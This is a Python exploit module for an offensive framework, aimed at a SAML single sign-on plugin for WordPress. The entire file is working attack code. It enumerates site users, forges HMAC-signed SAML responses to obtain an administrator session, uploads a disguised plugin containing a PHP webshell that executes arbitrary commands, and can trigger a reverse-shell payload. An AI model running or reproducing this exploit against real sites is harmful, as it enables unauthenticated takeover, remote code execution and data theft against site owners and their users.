miniOrange SAML SSO Auth Bypass RCE (CVE-2026-15013)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""CVE-2026-15013 — miniOrange SAML SSO <= 5.4.3 HMAC auth bypass to admin RCE."""

from __future__ import annotations

import base64
import hashlib
import hmac
import io
import os
import re
import subprocess
import tempfile
import uuid
import zipfile
from datetime import datetime, timedelta, timezone
from typing import List, Optional, Tuple
from urllib.parse import urlparse

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.wordpress import Wordpress

try:
    from lxml import etree
except ImportError:
    etree = None

PLUGIN_SLUG = "miniorange-saml-20-single-sign-on"
VULN_MAX = (5, 4, 3)

NS_SAMLP = "urn:oasis:names:tc:SAML:2.0:protocol"
NS_SAML = "urn:oasis:names:tc:SAML:2.0:assertion"
NS_DS = "http://www.w3.org/2000/09/xmldsig#"
C14N = "http://www.w3.org/2001/10/xml-exc-c14n#"
ENVSIG = "http://www.w3.org/2000/09/xmldsig#enveloped-signature"
HMAC_URI = "http://www.w3.org/2000/09/xmldsig#hmac-sha1"
SHA1_URI = "http://www.w3.org/2000/09/xmldsig#sha1"


class Module(Exploit, Http_client, Wordpress):
    __info__ = {
        "name": "miniOrange SAML SSO Auth Bypass RCE (CVE-2026-15013)",
        "description": (
            "Exploits CVE-2026-15013 in miniOrange SAML SSO <= 5.4.3: HMAC signature "
            "algorithm confusion in SAML assertion validation lets an unauthenticated "
            "attacker forge a signed assertion using the IdP X509 public key as the HMAC "
            "secret. Enumerates WordPress users, obtains admin via forged SAMLResponse, "
            "uploads a plugin ZIP webshell, and runs the configured payload or COMMAND."
        ),
        "author": ["zer0dayf", "KittySploit Team"],
        "cve": ["CVE-2026-15013"],
        "platform": Platform.PHP,
        "arch": [Arch.PHP, Arch.CMD],
        "category": PayloadCategory.CMD,
        "payload": {
            "default": "payloads/singles/cmd/php/reverse_tcp",
            "arch": Arch.PHP,
            "platform": Platform.PHP,
            "category": PayloadCategory.CMD,
        },
        "optional_dependencies": ["lxml", "cryptography"],
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2026-15013",
            "https://plugins.wordpress.org/miniorange-saml-20-single-sign-on/",
        ],
        "tags": [
            "wordpress",
            "miniorange",
            "saml",
            "sso",
            "auth-bypass",
            "hmac",
            "plugin-upload",
            "rce",
            "unauthenticated",
            "cve-2026-15013",
        ],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 20,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "risk_signals", "rce"],
            "cost": 2.5,
            "noise": 0.8,
            "value": 1.0,
            "requires": {
                "tech_hints_any": ["wordpress", "php"],
                "endpoint_pattern_any": [
                    "/wp-content/plugins/miniorange-saml-20-single-sign-on/",
                ],
            },
            "chain": {
                "produces_capabilities": [
                    {"capability": "auth_bypass", "from_detail": "forged HMAC SAMLResponse"},
                    {"capability": "rce", "from_detail": "plugin upload webshell"},
                ],
                "suggested_followups": [
                    "post/shell/multi/gather/privesc_suggester",
                ],
            },
        },
    }

    issuer = OptString("", "IdP issuer URL (auto from SSO redirect when empty)", False)
    acs = OptString("", "SAML ACS URL override", False, advanced=True)
    nameid = OptString("", "Target WordPress username (auto-enum when empty)", False)
    hmac_key_file = OptString(
        "",
        "Local PEM public key or X509 cert file for HMAC signing (fetch IdP metadata when empty)",
        False,
    )
    shell_plugin = OptString("", "Uploaded webshell plugin folder name (random if empty)", False, advanced=True)
    command = OptString("", "Shell command via ?c= (overrides payload for exec step)", False)
    upload_shell = OptBool(True, "Upload plugin webshell after admin session", False)
    verify_cmd = OptString("id", "Verification command after webshell upload", False, advanced=True)
    skip_version_check = OptBool(
        False,
        "Attempt exploit when plugin version appears patched or unknown",
        False,
        advanced=True,
    )

    def _wp_base(self) -> str:
        return self.wp_normalize_base_path(getattr(self, "path", "/"))

    def _path(self, suffix: str) -> str:
        base = self._wp_base()
        if not suffix.startswith("/"):
            suffix = f"/{suffix}"
        return f"{base}{suffix}" if base != "/" else suffix

    @staticmethod
    def _now_iso(minutes: int = 0) -> str:
        return (datetime.now(timezone.utc) + timedelta(minutes=minutes)).strftime(
            "%Y-%m-%dT%H:%M:%SZ"
        )

    def _plugin_version(self) -> str:
        return self.wp_plugin_version(PLUGIN_SLUG, self._wp_base())

    @classmethod
    def _is_vulnerable_version(cls, version: str) -> Optional[bool]:
        if not version:
            return None
        current = cls.wp_version_to_tuple(version)
        if not current:
            return None
        padded = current + (0,) * max(0, 3 - len(current))
        return padded[:3] <= VULN_MAX

    def _looks_like_wordpress(self) -> bool:
        for rel in ("/wp-login.php", "/wp-json/", "/wp-includes/js/jquery/jquery.min.js"):
            response = self.http_request(method="GET", path=self._path(rel), timeout=12)
            if response and int(response.status_code or 0) == 200:
                return True
        return False

    def _discover_sp(self) -> Tuple[str, str, str]:
        acs = self._path("/")
        entity_id = acs
        issuer = ""

        response = self.http_request(
            method="GET",
            path=self._path("/?option=mosaml_metadata"),
            timeout=12,
        )
        if response and int(response.status_code or 0) == 200:
            text = response.text or ""
            if "EntityDescriptor" in text:
                match = re.search(r'entityID="([^"]+)"', text)
                if match:
                    entity_id = match.group(1)
                match = re.search(r'Location="([^"]+)"', text)
                if match:
                    acs = match.group(1)

        response = self.http_request(
            method="GET",
            path=self._path("/?option=saml_user_login"),
            timeout=12,
            allow_redirects=False,
        )
        if response and int(response.status_code or 0) in (301, 302, 303, 307):
            location = (response.headers or {}).get("Location", "")
            parsed = urlparse(location)
            if parsed.scheme and parsed.netloc:
                issuer = f"{parsed.scheme}://{parsed.netloc}"
                parts = [part for part in parsed.path.split("/") if part]
                if "realms" in parts:
                    idx = parts.index("realms")
                    if idx + 1 < len(parts):
                        issuer = f"{parsed.scheme}://{parsed.netloc}/realms/{parts[idx + 1]}"

        manual_acs = str(self.acs or "").strip()
        manual_issuer = str(self.issuer or "").strip()
        if manual_acs:
            acs = manual_acs
        if manual_issuer:
            issuer = manual_issuer
        return acs, entity_id, issuer

    def _enum_users(self) -> List[str]:
        found: List[str] = []
        seen = set()

        def add_user(value: Optional[str]) -> None:
            if not value:
                return
            user = str(value).strip().split("/")[-1]
            if not user or user in seen:
                return
            if not re.match(r"^[\w.@+-]{1,60}$", user):
                return
            seen.add(user)
            found.append(user)

        for endpoint in (
            self._path("/wp-json/wp/v2/users"),
            self._path("/?rest_route=/wp/v2/users"),
        ):
            response = self.http_request(
                method="GET",
                path=endpoint,
                params={"per_page": "100"},
                timeout=12,
            )
            if not response or int(response.status_code or 0) != 200:
                continue
            try:
                users = response.json()
            except Exception:
                continue
            if not isinstance(users, list):
                continue
            for entry in users:
                if isinstance(entry, dict):
                    add_user(entry.get("slug"))
                    add_user(entry.get("name"))
                    add_user(entry.get("username"))

        for uid in range(1, 30):
            for endpoint in (
                self._path(f"/wp-json/wp/v2/users/{uid}"),
                self._path(f"/?rest_route=/wp/v2/users/{uid}"),
            ):
                response = self.http_request(method="GET", path=endpoint, timeout=8)
                if not response or int(response.status_code or 0) != 200:
                    continue
                try:
                    entry = response.json()
                except Exception:
                    continue
                if isinstance(entry, dict):
                    add_user(entry.get("slug"))
                    add_user(entry.get("name"))
                    add_user(entry.get("username"))
                    break

        for query in list("abcdefghijklmnopqrstuvwxyz0123456789") + ["admin", "user", "test"]:
            response = self.http_request(
                method="GET",
                path=self._path("/wp-json/wp/v2/users"),
                params={"search": query, "per_page": "100"},
                timeout=8,
            )
            if not response or int(response.status_code or 0) != 200:
                continue
            try:
                users = response.json()
            except Exception:
                continue
            if isinstance(users, list):
                for entry in users:
                    if isinstance(entry, dict):
                        add_user(entry.get("slug"))
                        add_user(entry.get("name"))

        for uid in range(1, 40):
            response = self.http_request(
                method="GET",
                path=self._path(f"/?author={uid}"),
                timeout=8,
                allow_redirects=False,
            )
            if response:
                match = re.search(r"/author/([^/?&#]+)", (response.headers or {}).get("Location", ""))
                if match:
                    add_user(match.group(1))
            response = self.http_request(
                method="GET",
                path=self._path(f"/?author={uid}"),
                timeout=8,
                allow_redirects=True,
            )
            if response and int(response.status_code or 0) == 200:
                text = response.text or ""
                for match in re.finditer(r"/author/([a-zA-Z0-9._-]+)", text[:12000]):
                    add_user(match.group(1))

        for rel in ("/", "/feed/", "/comments/feed/"):
            response = self.http_request(method="GET", path=self._path(rel), timeout=10)
            if response and int(response.status_code or 0) == 200:
                for match in re.finditer(r"/author/([a-zA-Z0-9._-]+)", (response.text or "")[:40000]):
                    add_user(match.group(1))

        for candidate in ("admin", "administrator", "root", "webmaster"):
            add_user(candidate)

        common = {"admin", "administrator", "root", "webmaster"}
        priority = [user for user in found if user.lower() in common]
        rest = [user for user in found if user.lower() not in common]
        ordered: List[str] = []
        seen_order = set()
        for user in priority + rest:
            if user not in seen_order:
                seen_order.add(user)
                ordered.append(user)
        return ordered

    @staticmethod
    def _cert_b64_to_pubkey_pem(cert_b64: str) -> bytes:
        cert_b64 = re.sub(r"\s+", "", cert_b64)
        try:
            from cryptography import x509
            from cryptography.hazmat.primitives import serialization

            der = base64.b64decode(cert_b64)
            cert = x509.load_der_x509_certificate(der)
            return cert.public_key().public_bytes(
                encoding=serialization.Encoding.PEM,
                format=serialization.PublicFormat.SubjectPublicKeyInfo,
            )
        except ImportError:
            pass

        pem = "-----BEGIN CERTIFICATE-----\n"
        for index in range(0, len(cert_b64), 64):
            pem += cert_b64[index : index + 64] + "\n"
        pem += "-----END CERTIFICATE-----\n"
        fd, crt_path = tempfile.mkstemp(suffix=".crt")
        os.close(fd)
        try:
            with open(crt_path, "w", encoding="utf-8") as handle:
                handle.write(pem)
            output = subprocess.check_output(
                ["openssl", "x509", "-in", crt_path, "-pubkey", "-noout"],
                stderr=subprocess.DEVNULL,
            )
        finally:
            try:
                os.unlink(crt_path)
            except OSError:
                pass
        if b"BEGIN PUBLIC KEY" not in output:
            raise RuntimeError("Could not extract public key from IdP certificate")
        return output

    def _external_get(self, url: str, timeout: float = 12):
        import requests

        verify = self._to_bool(getattr(self, "verify_ssl", False))
        return requests.get(
            url,
            timeout=timeout,
            verify=verify,
            allow_redirects=True,
            headers={
                "User-Agent": (
                    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
                    "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
                )
            },
        )

    def _external_post(self, url: str, data: dict, timeout: float = 20):
        import requests

        verify = self._to_bool(getattr(self, "verify_ssl", False))
        return requests.post(
            url,
            data=data,
            timeout=timeout,
            verify=verify,
            allow_redirects=True,
            headers={
                "User-Agent": (
                    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
                    "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
                )
            },
        )

    def _fetch_hmac_key_from_idp(self, issuer_url: str) -> bytes:
        issuer_url = issuer_url.rstrip("/")
        last_error: Optional[Exception] = None
        for suffix in ("/protocol/saml/descriptor", "/descriptor"):
            try:
                response = self._external_get(issuer_url + suffix)
            except Exception as exc:
                last_error = exc
                continue
            if int(response.status_code or 0) != 200:
                continue
            certs = re.findall(
                r"<[^>]*X509Certificate[^>]*>([^<]+)</[^>]*X509Certificate>",
                response.text or "",
                flags=re.I,
            )
            if not certs:
                continue
            try:
                return self._cert_b64_to_pubkey_pem(certs[0])
            except Exception as exc:
                last_error = exc
        raise RuntimeError(f"IdP metadata certificate not found ({last_error})")

    def _resolve_hmac_key(self, issuer_url: str) -> bytes:
        key_path = str(self.hmac_key_file or "").strip()
        if key_path:
            data = open(key_path, "rb").read()
            if b"BEGIN PUBLIC KEY" in data or b"BEGIN RSA PUBLIC KEY" in data:
                print_status(f"Using HMAC key from {key_path}")
                return data
            if b"BEGIN CERTIFICATE" in data:
                lines = [
                    line.strip()
                    for line in data.decode(errors="ignore").splitlines()
                    if "BEGIN" not in line and "END" not in line
                ]
                return self._cert_b64_to_pubkey_pem("".join(lines))
            raise RuntimeError(f"Unsupported key file format: {key_path}")

        print_status(f"Fetching IdP certificate from {issuer_url}")
        return self._fetch_hmac_key_from_idp(issuer_url)

    def _forge_saml(
        self,
        issuer_url: str,
        acs_url: str,
        sp_entity: str,
        username: str,
        hmac_key: bytes,
    ) -> str:
        if etree is None:
            raise RuntimeError("lxml is required (pip install lxml)")

        assert_id = "_" + uuid.uuid4().hex
        response_id = "_" + uuid.uuid4().hex
        instant = self._now_iso()
        not_before = self._now_iso(-5)
        not_after = self._now_iso(60)
        saml_ns = NS_SAML

        assertion = etree.Element(f"{{{saml_ns}}}Assertion", nsmap={"saml": saml_ns})
        assertion.set("ID", assert_id)
        assertion.set("IssueInstant", instant)
        assertion.set("Version", "2.0")
        etree.SubElement(assertion, f"{{{saml_ns}}}Issuer").text = issuer_url

        subject = etree.SubElement(assertion, f"{{{saml_ns}}}Subject")
        name_id = etree.SubElement(subject, f"{{{saml_ns}}}NameID")
        name_id.set("Format", "urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified")
        name_id.text = username

        confirmation = etree.SubElement(subject, f"{{{saml_ns}}}SubjectConfirmation")
        confirmation.set("Method", "urn:oasis:names:tc:SAML:2.0:cm:bearer")
        confirmation_data = etree.SubElement(confirmation, f"{{{saml_ns}}}SubjectConfirmationData")
        confirmation_data.set("NotOnOrAfter", not_after)
        confirmation_data.set("Recipient", acs_url)

        conditions = etree.SubElement(assertion, f"{{{saml_ns}}}Conditions")
        conditions.set("NotBefore", not_before)
        conditions.set("NotOnOrAfter", not_after)
        audience_restriction = etree.SubElement(conditions, f"{{{saml_ns}}}AudienceRestriction")
        etree.SubElement(audience_restriction, f"{{{saml_ns}}}Audience").text = sp_entity

        authn = etree.SubElement(assertion, f"{{{saml_ns}}}AuthnStatement")
        authn.set("AuthnInstant", instant)
        authn.set("SessionIndex", assert_id)
        authn_context = etree.SubElement(authn, f"{{{saml_ns}}}AuthnContext")
        etree.SubElement(authn_context, f"{{{saml_ns}}}AuthnContextClassRef").text = (
            "urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport"
        )

        digest = base64.b64encode(
            hashlib.sha1(etree.tostring(assertion, method="c14n", exclusive=True)).digest()
        ).decode()

        ds_ns = NS_DS
        signed_info = etree.Element(f"{{{ds_ns}}}SignedInfo", nsmap={"ds": ds_ns})
        etree.SubElement(signed_info, f"{{{ds_ns}}}CanonicalizationMethod").set("Algorithm", C14N)
        etree.SubElement(signed_info, f"{{{ds_ns}}}SignatureMethod").set("Algorithm", HMAC_URI)
        reference = etree.SubElement(signed_info, f"{{{ds_ns}}}Reference")
        reference.set("URI", "#" + assert_id)
        transforms = etree.SubElement(reference, f"{{{ds_ns}}}Transforms")
        etree.SubElement(transforms, f"{{{ds_ns}}}Transform").set("Algorithm", ENVSIG)
        etree.SubElement(transforms, f"{{{ds_ns}}}Transform").set("Algorithm", C14N)
        etree.SubElement(reference, f"{{{ds_ns}}}DigestMethod").set("Algorithm", SHA1_URI)
        etree.SubElement(reference, f"{{{ds_ns}}}DigestValue").text = digest

        signature_value = base64.b64encode(
            hmac.new(
                hmac_key,
                etree.tostring(signed_info, method="c14n", exclusive=True),
                hashlib.sha1,
            ).digest()
        ).decode()

        signature = etree.Element(f"{{{ds_ns}}}Signature", nsmap={"ds": ds_ns})
        signature.append(signed_info)
        etree.SubElement(signature, f"{{{ds_ns}}}SignatureValue").text = signature_value

        assertion_text = etree.tostring(assertion, encoding="unicode")
        insert_at = assertion_text.find("</saml:Issuer>") + len("</saml:Issuer>")
        assertion_body = (
            assertion_text[:insert_at]
            + etree.tostring(signature, encoding="unicode")
            + assertion_text[insert_at:]
        )

        response = (
            f'<samlp:Response xmlns:samlp="{NS_SAMLP}" xmlns:saml="{NS_SAML}"'
            f' Destination="{acs_url}" ID="{response_id}" IssueInstant="{instant}" Version="2.0">'
            f"<saml:Issuer>{issuer_url}</saml:Issuer>"
            f'<samlp:Status><samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/></samlp:Status>'
            f"{assertion_body}</samlp:Response>"
        )
        return base64.b64encode(response.encode()).decode()

    def _session_has_wp_cookie(self) -> bool:
        jar = getattr(self.session, "cookies", None)
        if not jar:
            return False
        for cookie in jar:
            if cookie.name.startswith("wordpress_logged_in"):
                return True
        return False

    def _post_saml_response(self, acs_url: str, saml_response: str):
        relay = self._path("/wp-admin/")
        if acs_url.startswith(("http://", "https://")):
            parsed = urlparse(acs_url)
            target_host = str(getattr(self, "target", "") or "").strip().split("://")[-1].split("/")[0]
            if parsed.netloc and parsed.netloc != target_host:
                response = self._external_post(
                    acs_url,
                    {"SAMLResponse": saml_response, "RelayState": relay},
                )
                for name, value in response.cookies.items():
                    self.session.cookies.set(name, value)
                return response
            path = parsed.path or "/"
            if parsed.query:
                path = f"{path}?{parsed.query}"
            return self.http_request(
                method="POST",
                path=path,
                data={"SAMLResponse": saml_response, "RelayState": relay},
                timeout=20,
                allow_redirects=True,
            )

        path = acs_url if acs_url.startswith("/") else f"/{acs_url}"
        return self.http_request(
            method="POST",
            path=path,
            data={"SAMLResponse": saml_response, "RelayState": relay},
            timeout=20,
            allow_redirects=True,
        )

    def _try_saml_login(
        self,
        acs_url: str,
        entity_id: str,
        issuer_url: str,
        username: str,
        hmac_key: bytes,
    ) -> str:
        saml_response = self._forge_saml(issuer_url, acs_url, entity_id, username, hmac_key)
        self._post_saml_response(acs_url, saml_response)
        if not self._session_has_wp_cookie():
            return "no_cookie"

        admin_page = self.http_request(
            method="GET",
            path=self._path("/wp-admin/plugin-install.php?tab=upload"),
            timeout=15,
            allow_redirects=True,
        )
        if admin_page and int(admin_page.status_code or 0) == 200:
            url = getattr(admin_page, "url", "") or ""
            body = admin_page.text or ""
            if "wp-login" not in url and "_wpnonce" in body:
                return "admin"

        dashboard = self.http_request(
            method="GET",
            path=self._path("/wp-admin/"),
            timeout=12,
            allow_redirects=True,
        )
        if dashboard and int(dashboard.status_code or 0) == 200:
            url = getattr(dashboard, "url", "") or ""
            if "wp-login" not in url:
                return "user"
        return "cookie_only"

    def _shell_plugin_name(self) -> str:
        name = str(self.shell_plugin or "").strip()
        return name or f"ks_{self.random_text(6)}"

    def _shell_php(self) -> str:
        manual = str(self.command or "").strip()
        payload = self.payload
        if isinstance(payload, bytes):
            payload = payload.decode("utf-8", errors="replace")
        framework = str(payload or "").strip()
        header = (
            "<?php\n"
            "/*\nPlugin Name: KittySploit miniOrange shell\nVersion: 1.0\n*/\n"
        )
        if framework and not manual:
            body = framework[5:].lstrip() if framework.startswith("<?php") else framework
            return header + body + "\n"
        return (
            header
            + 'if (!isset($_GET["c"])) { header("Content-Type: text/plain"); echo "ok\\n"; exit; }\n'
            + '$c = (string)$_GET["c"];\n'
            + 'header("Content-Type: text/plain; charset=utf-8");\n'
            + 'echo ">>> $c\\n\\n";\n'
            + 'if (function_exists("shell_exec")) { echo shell_exec($c . " 2>&1"); }\n'
        )

    def _shell_zip(self, slug: str) -> bytes:
        buffer = io.BytesIO()
        with zipfile.ZipFile(buffer, "w", zipfile.ZIP_DEFLATED) as archive:
            archive.writestr(f"{slug}/shell.php", self._shell_php())
            archive.writestr(f"{slug}/readme.txt", "=== KittySploit ===\nStable tag: 1.0\n")
        return buffer.getvalue()

    def _upload_shell(self, slug: str) -> Tuple[Optional[str], str]:
        page = self.http_request(
            method="GET",
            path=self._path("/wp-admin/plugin-install.php?tab=upload"),
            timeout=20,
        )
        if not page:
            return None, "no_page"
        match = re.search(r'name="_wpnonce"\s+value="([^"]+)"', page.text or "")
        if not match:
            return None, "no_nonce"

        response = self.http_request(
            method="POST",
            path=self._path("/wp-admin/update.php?action=upload-plugin"),
            data={
                "_wpnonce": match.group(1),
                "_wp_http_referer": "/wp-admin/plugin-install.php?tab=upload",
                "install-plugin-submit": "Install Now",
            },
            files={"pluginzip": (f"{slug}.zip", self._shell_zip(slug), "application/zip")},
            timeout=30,
            allow_redirects=True,
        )
        shell_path = self.wp_plugin_path(self._wp_base(), slug, "shell.php")
        probe = self.http_request(method="GET", path=shell_path, timeout=12)
        if probe and int(probe.status_code or 0) == 200:
            text = probe.text or ""
            if "ok" in text or "Usage" in text or "<?php" not in text[:20]:
                return shell_path, "ok"
        status = int(getattr(response, "status_code", 0) or 0)
        probe_status = int(getattr(probe, "status_code", 0) or 0) if probe else 0
        return shell_path, f"upload={status} shell={probe_status}"

    def _trigger_shell(self, shell_path: str, command: str) -> str:
        try:
            response = self.http_request(
                method="GET",
                path=shell_path,
                params={"c": command},
                timeout=12,
            )
        except Exception as exc:
            if "Timeout" in exc.__class__.__name__:
                return ""
            raise
        return (response.text or "") if response else ""

    def _trigger_php_payload(self, shell_path: str) -> bool:
        try:
            response = self.http_request(method="GET", path=shell_path, timeout=8)
        except Exception as exc:
            return "Timeout" in exc.__class__.__name__
        return bool(response and int(response.status_code or 0) in (200, 500))

    def check(self):
        if etree is None:
            return {
                "vulnerable": False,
                "reason": "lxml is required (pip install lxml)",
                "confidence": "high",
            }

        if not self._looks_like_wordpress():
            return {
                "vulnerable": False,
                "reason": "WordPress not detected",
                "confidence": "medium",
            }

        version = self._plugin_version()
        if not version:
            return {
                "vulnerable": False,
                "reason": "miniOrange SAML SSO plugin not detected",
                "confidence": "medium",
            }

        affected = self._is_vulnerable_version(version)
        if affected is False and not bool(self.skip_version_check):
            return {
                "vulnerable": False,
                "reason": f"miniOrange SAML {version} > 5.4.3 (patched)",
                "confidence": "high",
                "version": version,
            }

        acs, entity_id, issuer_url = self._discover_sp()
        if not issuer_url:
            return {
                "vulnerable": True,
                "reason": (
                    f"miniOrange SAML {version} <= 5.4.3 likely vulnerable; "
                    "set issuer (IdP URL) to confirm"
                ),
                "confidence": "medium" if affected is None else "high",
                "version": version,
            }

        try:
            hmac_key = self._resolve_hmac_key(issuer_url)
        except Exception as exc:
            return {
                "vulnerable": True,
                "reason": (
                    f"miniOrange SAML {version} detected; HMAC key unavailable: {exc}"
                ),
                "confidence": "medium",
                "version": version,
            }

        users = [str(self.nameid).strip()] if str(self.nameid or "").strip() else self._enum_users()
        for username in users[:15]:
            status = self._try_saml_login(acs, entity_id, issuer_url, username, hmac_key)
            if status == "admin":
                return {
                    "vulnerable": True,
                    "reason": (
                        f"CVE-2026-15013 confirmed: forged SAML admin session as {username} "
                        f"(plugin {version})"
                    ),
                    "confidence": "high",
                    "version": version,
                }

        if affected is not False:
            return {
                "vulnerable": True,
                "reason": (
                    f"miniOrange SAML {version} <= 5.4.3; IdP reachable but no admin user forged"
                ),
                "confidence": "medium",
                "version": version,
            }

        return {
            "vulnerable": False,
            "reason": "Could not forge admin SAML session",
            "confidence": "medium",
            "version": version,
        }

    def run(self):
        try:
            print_status("CVE-2026-15013 — miniOrange SAML SSO HMAC auth bypass")
            print_status(f"Target: {self.target}:{self.port}")

            if etree is None:
                print_error("lxml is required (pip install lxml)")
                return False

            check = self.check()
            if not check.get("vulnerable"):
                print_error(check.get("reason", "Target does not appear vulnerable"))
                self.not_vulnerable()
                return False
            print_success(check.get("reason", "Target appears vulnerable"))

            version = self._plugin_version()
            print_status(f"miniOrange SAML plugin version: {version or 'unknown'}")

            acs, entity_id, issuer_url = self._discover_sp()
            if not issuer_url:
                print_error("IdP issuer not found — set issuer option (e.g. https://idp/realms/xxx)")
                return False
            print_status(f"ACS={acs}")
            print_status(f"Audience={entity_id}")
            print_status(f"Issuer={issuer_url}")

            hmac_key = self._resolve_hmac_key(issuer_url)
            users = [str(self.nameid).strip()] if str(self.nameid or "").strip() else self._enum_users()
            print_status(f"Trying {len(users)} candidate user(s)...")

            admin_user = None
            for username in users:
                status = self._try_saml_login(acs, entity_id, issuer_url, username, hmac_key)
                print_status(f"  {username} → {status}")
                if status == "admin":
                    admin_user = username
                    break

            if not admin_user:
                print_error("No admin session obtained (need install_plugins capability)")
                return False
            print_success(f"Admin session forged as {admin_user}")

            if not bool(self.upload_shell):
                self.vulnerable()
                return True

            slug = self._shell_plugin_name()
            print_status(f"Uploading webshell plugin: {slug}")
            shell_path, upload_status = self._upload_shell(slug)
            if upload_status != "ok" or not shell_path:
                print_error(f"Shell upload failed ({upload_status})")
                return False
            print_success(f"Webshell reachable at {shell_path}")

            manual = str(self.command or "").strip()
            payload = self.payload
            if isinstance(payload, bytes):
                payload = payload.decode("utf-8", errors="replace")
            framework = str(payload or "").strip()

            if manual or (framework and "reverse" not in str(self._get_configured_payload_path() or "").lower()):
                cmd = manual or str(self.verify_cmd or "id")
                print_status(f"Executing: {cmd}")
                output = self._trigger_shell(shell_path, cmd)
                if output:
                    print_info(output)
            else:
                print_status("Triggering PHP payload via uploaded shell")
                self._trigger_php_payload(shell_path)
                print_info("Verify listener for reverse callback")

            self.vulnerable()
            return True

        except Exception as exc:
            print_error(f"Exploitation failed: {exc}")
            return False